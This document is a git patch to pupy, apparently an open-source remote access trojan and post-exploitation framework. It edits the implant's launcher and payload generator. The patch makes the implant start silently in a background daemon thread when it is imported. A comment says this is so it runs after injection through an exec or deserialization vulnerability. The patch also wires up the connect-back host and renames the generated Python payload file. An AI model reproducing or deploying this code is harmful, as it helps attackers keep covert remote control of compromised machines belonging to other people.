From dfbf41e60769d6123bb1bfa778c3bdc95b011b2e Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Wed, 25 May 2016 18:30:47 +0200 Subject: [PATCH] python payload fix --- pupy/pp.py | 8 +++++++- pupy/pupygen.py | 2 +- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/pupy/pp.py b/pupy/pp.py index c21e66cf..caa1321d 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -159,9 +159,10 @@ def main(): if "pupy" not in sys.modules: add_pseudo_pupy_module(launcher.get_host()) else: + import pupy # necessary pupy.get_connect_back_host=launcher.get_host + import pupy # also necessary - import pupy pupy.infos={} #global dictionary to store informations persistent through a deconnection pupy.infos['launcher']=LAUNCHER pupy.infos['launcher_args']=LAUNCHER_ARGS @@ -169,6 +170,7 @@ def main(): finally: time.sleep(get_next_wait(attempt)) attempt+=1 + def rpyc_loop(launcher): global attempt try: @@ -223,4 +225,8 @@ def rpyc_loop(launcher): if __name__=="__main__": main() +else: + t=threading.Thread(target=main) # to allow pupy to run in background when imported or injected through a python application exec/deserialization vulnerability + t.daemon=True + t.start() diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 30970dde..8b7a2e02 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -279,7 +279,7 @@ if __name__=="__main__": get_edit_apk(os.path.join("payload_templates","pupy.apk"), outpath, conf) elif args.format=="py": if not outpath: - outpath="pupy_packed.py" + outpath="payload.py" packed_payload=pack_py_payload(get_raw_conf(conf)) with open(outpath, 'wb') as w: w.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n"+packed_payload)